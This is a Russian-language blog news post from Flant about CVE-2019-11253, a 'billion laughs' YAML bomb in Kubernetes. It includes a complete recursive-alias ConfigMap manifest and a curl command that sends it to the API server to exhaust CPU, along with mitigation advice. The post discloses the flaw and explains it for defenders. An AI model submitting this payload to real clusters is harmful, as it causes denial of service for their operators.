Pull to refresh
Флант
DevOps-as-a-Service, Kubernetes, обслуживание 24×7

Уязвимость CVE-2019-11253 в YAML-парсере Kubernetes приводит к DoS-атаке

Reading time2 min
Views3K
В issues проекта Kubernetes обсуждается потенциально опасная уязвимость в парсере YAML-документов kubectl (на стороне клиента) и API Server (на стороне сервера), которая может привести к разновидности DoS-атак под названием billion laughs.



Для уязвимости уже зарезервирован номер: CVE-2019-11253, — однако детали CVE всё ещё не опубликованы. Широкой общественности о проблеме стало известно в результате обсуждения «YAML-бомбы» для Kubernetes API на Stack Overflow.

В Kubernetes-объекте ConfigMap, когда он определяется форматом YAML, могут содержаться так называемые «отсылки» (references) к другим блокам (nodes) документа. Это специальная фича YAML, созданная для удобства: для возможности использовать идентичные фрагменты конфигураций и сокращения общего размера YAML-документов. Проблема сводится к тому, что references могут быть рекурсивными, в результате чего потребление CPU стремительно вырастает.

Обнаруженную уязвимость назвали «родственником» уже хорошо известной проблемы при парсинге формата XML, которую называют billion laughs (по той причине, что для её иллюстрации обычно используют множество строк, содержащих «lol») или же XML-бомбой.

Пример для воспроизведения CVE-2019-11253 на серверной стороне K8s (API Server):

  1. Создать такой манифест, сохранив как yaml_bomb.yml:

    apiVersion: v1
    data:
      a: &a ["web","web","web","web","web","web","web","web","web"]
      b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
      c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
      d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
      e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
      f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
      g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
      h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
      i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    kind: ConfigMap
    metadata:
      name: yaml-bomb
      namespace: default
  2. Запустить kubectl proxy на кластере.
  3. Из директории с yaml_bomb.yml выполнить:

    curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @yaml_bomb.yml
  4. У пользователя должны быть права на создание объектов ConfigMap (в пространстве имён default), чтобы всё случилось. Остаётся лишь наблюдать за потреблением процессора API-сервером кластера.

Для полного решения проблемы разработчики Kubernetes ожидают «фундаментального патча в библиотеке YAML».

Из наиболее очевидных общих рекомендаций для избежания последствий подобных уязвимостей — закрытие Kubernetes API для внешних пользователей и грамотная конфигурация RBAC-политик в кластере. Подробнее о них рассказывается, например, в этой свежей статье.

P.S.


Читайте также в нашем блоге:

Tags:
Hubs:
+38
Comments5

Other news

Information

Website
flant.ru
Registered
Founded
Employees
201–500 employees
Location
Россия
Representative
Тимур Тукаев